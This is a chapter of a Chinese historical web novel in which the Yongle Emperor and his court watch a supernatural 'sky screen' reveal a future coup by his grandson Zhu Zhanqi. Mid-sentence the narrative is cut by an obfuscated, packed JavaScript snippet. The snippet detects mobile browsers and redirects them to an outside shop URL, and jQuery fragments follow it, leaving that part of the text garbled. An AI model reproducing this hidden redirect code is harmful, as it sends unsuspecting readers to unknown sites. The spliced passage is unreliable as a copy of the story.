8. 一日时间差
作品:《天幕观影大明暴君》 【当时第一时间发现帝王驾崩的是谁呢?随侍的太监马云。】
如同可汗大点兵的前奏,马云一个噗通就跪在了地上,别管他做的是好事还是坏事,一切未明之前,先跪了,表态了再说。
【马云的第一想法,当然是先隐瞒朱棣死讯,不仅是继承人的问题,还有军队是否哗变的问题。】
【但单靠一个内侍,显然做不到完全隐瞒。
更难的问题来了,太子远在京师,是正统继承人,可汉王就在军中,哪怕能瞒住将士,也不能瞒住汉王。
但若是汉王有心夺位呢?毕竟,这么好的机会。】
朱棣的目光,也落在了汉王身上。
不过虽是打量,但寒意不多,毕竟天幕也说了,东宫事变,真正的战场,其实在皇宫内。
【马云同时请来了近臣金幼孜与汉王,以及英国公张辅,成国公朱勇。】
马云觉得自己活过来了。
朱棣颔首,这个决策,是没有什么大问题的。
不过这时候,紧张的,就变成金幼孜,英国公,与成国公了。
【金幼孜是内阁大臣,文渊阁大学士,与解缙等都是偏向太子的江南士大夫集团。
但在元史事件中,金幼孜没有像其他同僚一样受到波及,仕途依旧顺利。
汉王自然是汉王党。
而英国公与成国公,是纯粹的皇党,无论是太子,还是汉王,都还没有资格能指挥得动他们,他们只听令于天子,并且在军中,有足够得威望,能暂时稳住汉王的威胁。
可以说,能被朱棣选在近身侍候,马云的政治素养,是绝对足够的。
也是因为他的不偏向,最后能得以善终。】
“军队出不了问题,所以是东宫事变,汉王当然不是胡亥,但朱瞻圻这个有‘暴君’之名的孙儿,却未必不会效仿胡亥,诛杀宗亲,比如——太子一家。”
宁王朱权对儿孙们道:“都学着点,这可是能上天的教科书,保不准什么时候就有用。”
有没有造反的机会,暂且不说,但有学习的机会,还是不能放过的。
【为了大军的无恙,众人一致决定隐瞒天子驾崩的消息,一切等回京再说,于是最关键的一个问题来了——派谁,或者说,派谁的人,去京中报信。
去京中报信,自然是报给太子,但这可是皇位继承,汉王能拱手送出吗?汉王太配合了,配合得让众人心惊。】
竟真的一点幺蛾子都没闹?哪怕你趁机索要好处也正常啊!
这还是汉王吗?
朱棣怀疑地扫视了一番汉王,继而将目光再次落在朱瞻圻头上。
【面对同僚的警惕,汉王大义凛然表示他不会拿大明开玩笑,但他也信不过金幼孜。
于是,由英国公派人八百里加急,传信于京师。】
英国公心里一个咯噔,不会是在他这里出了岔子吧?
“臣……”
“朕信文弼,天幕亦不过一家之言。”
在英国公准备请罪的瞬间,朱棣及时制止,纵然出了疏漏,那也不过是瞻圻技高一筹,老二早有心思,如何能怪他的文弼?
况且,天幕所说的,就一定是真的吗?
历史真真假假,春秋笔法,天幕中的声音,不过是一个后世的小年轻,怎么能够全信呢?
若因天幕,反与忠臣生隔阂,那他这个皇帝,可真是没用。
【七月二十二日,信使急速抵达京师,京中却早已戒严,东宫封闭,汉王次子朱瞻圻,侯信使久矣。】
“信使尽力了。”朱棣道。
一千多公里的距离,只用了四天,信使不仅无过,反而有功。
朱棣愈发好奇,在京中的孙儿,是如何提前得知消息的。
此刻,天幕有异,一分为二,一边是那章不鱼放的背景图与资料,一边是宛如真人,不,就是真人的历史影像。
天幕中朱瞻圻面容清晰可辨,不可能有人能伪装得如此之像,无论是容貌,还是举止气度。
天下人看稀奇,朝廷中枢的众人纷纷大惊。
“陛下,这……这天幕……”
这又是一个非人力可及!
那个“章不鱼”,又对这是否知情?
过去看到未来,这天幕到底所欲何为?
【朱瞻圻在信使的懵逼与惊恐中,眼含一缕忧愁,“终究还是来了。”
这说明,大明的永乐皇帝,真的去了。
信使肉眼可见的慌乱,脸上都不知道该有什么表情了,“皇……圻……二……您……太子呢?”】
英国公张辅不由扶额,什么担忧天幕异常的心思都没了,这个傻孩子,都这时候了,还问什么!生怕自己还能活着吗?
京营中,小兵周葵周围顿时围了一圈人,看猴子一样扒拉平时不显山不漏水的战友。
“好哇你小子,混得不错啊,几年后都成英国公亲信了。”
不是亲信,也做不到关键时刻去传信。
“哥们儿刚开始还以为你装傻呢,合着你真傻啊?”
“你这也是丢人丢到所有军营了。”
“傻人有傻福?”
“义父!苟富贵勿相忘!”
【似乎没想到信使还会问出这样天真的话,朱瞻圻有一瞬错愕,却并未怪罪,反而平和回答道:“大伯一家子诚孝,追随陛下而去了,小将军,天下无恙,军队亦无恙,且归家吧。”
平静与慌乱的视线相碰撞,天幕透过那双眼眸,将时间,拉回到七月二十一日。】
得到答案的太子闭上了眼,毫不意外呢。
太孙朱瞻基抿紧了唇,想说什么,终究还是什么也没说,有些憋屈地继续看向天幕。
这可是关键时刻,他也想瞧一瞧,圻弟是怎么做到将他们东宫一锅端的。
按理来说,圻弟应该没有这个能力才是。
汉王都没能力宫廷政变,何况圻弟?
为了他的安全,爷爷可是将府军前卫重新启用并拨给了他的,将近三万的幼军,这还能翻车?
想不明白的,何止朱瞻基。
怎么着,在大明想要当皇帝,都得学会以少胜多是吧?
永乐陛下八百人,您承明陛下多少人?
应当没有八百吧?
在封地的一众藩王齐齐一声唏嘘,果然如他们所料,太子一家子玩儿完!
【“二公子,陛下病重,甚险。”
“什么时候的事?”
“七月十七,陛下未曾召殿下入帐,用药量有异,马云待在帐篷内的时间大幅度提高。”
朱瞻圻脸上,是少有的一脸凝重,全府的未来,都在他的一念之间。
终于,朱瞻圻抬眼,“去定国公府与永春侯府,今晚下钥后,守好宫门,金吾前卫指挥使苏显,羽林左卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007587|194073||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指挥同知袁亨、指挥佥事李广,羽林右卫指挥同知张桐,虎贲左卫指挥同知牛河,可信。】
马云头埋得更低了,谁能想到,千防万防,疏漏竟然在自己,平常也不见汉王此等心细。
定国公徐景昌,永春侯王宁,二话不说跪下了,这个他们逃不了,他们真参与了,他们与英国公不一样。
朱棣看向汉王父子,汉王立马滑跪,朱瞻圻与朱棣对上视线,朱棣不动如山,就那样看着他,朱瞻圻垂下头,老老实实也跪下了。
而被念到名字,不在现场的其他人,就不一样了。
比如袁亨之父袁聚,“嗯?我是伤退了还是死了?”
比如苏显之父苏得,“苏显?他疯啦?!”这指挥使他当得明白吗?竟然还敢私自站队皇子皇孙?还混成心腹了?
还在上值的老父亲强忍怒意,正好休息的家长,已经举起了藤条,让隔壁家听了好一场大戏。
【朱瞻圻淡定地入宫,在文渊阁呆了一个时辰(天幕备注时间)。】
“政变前还能看书,这心态可真好。”
“不是要政变吗?就几个人,能行吗?”
“几个?你也不看看人那几个都是什么人!”
“什么人?”
“公侯的含量就不说了,后面那几个,全是守宫门的关键卫队,恰好能聚集这些个人,这皇孙肯定计划不是一两天了!”
【刚出文渊阁几步路,就有一个太监上前,“皇孙殿下,如今天热,您难得入宫,太子殿下让您去东宫用晚膳。”】
太子殿下叹气,每次老二随老爷子出征,他看见瞻圻独自入宫都会捞回东宫看着,也免得侄儿看书忘了时辰,也是让兄弟二人更好交流感情,当瞻圻侄儿有心,那真是一算一个准。
【太子太孙在宫里的眼睛显然是不少的,朱瞻基轻而易举就算准了时间把朱瞻圻接入东宫,“哟,圻弟今天竟然只在文渊阁待了一个时辰,这可真稀奇。”
朱瞻圻扒拉开搭在自己肩膀上的手,“松开,热。”
“我最近上火,本来说看书静静心,结果夏蝉一直乱叫,静不下来,”
朱瞻基像是看到了什么稀罕物,一个转身,一边倒着走一边上下打量朱瞻圻,“我先不说你看书降温这离谱发言,咱朱家大文人,竟败在小小蝉鸣之下?”
又一个凑近,对着堂弟一脸坏笑小声开口,“弟,告诉哥,是肝火旺还是什么火旺?”】
满怀被堂弟背刺的郁闷之情就此一个放空,朱瞻基好想原地抠出一个洞,让自己给躲进去。
他竟然有丢脸丢到整个大明的一天,不说整个大明,保底整个京师是都知道了!
这种兄弟间私下的相处,能正大光明曝光吗?
这天幕太没公德心了!
【朱瞻圻一手推开朱瞻基搞怪的脸,当场化身教导主任,“堂兄,你是太孙,你看看你的模样,像话吗?”
“你又来,咱们兄弟说这个,欸欸欸,我爹还忙着呢,先去我那儿!”说着就将人拐了一个方向。
“这……”
“这什么这又不是第一次了,一家人,别那么瞎讲究。”
说罢继续把人往自己院里拖。】
“这堂兄弟感情还挺好的哈。”
“是哦,看这熟门熟路的模样,这皇家兄弟感情也还行嘛。”
“你们是不是忘了东宫事变这几个字了?”

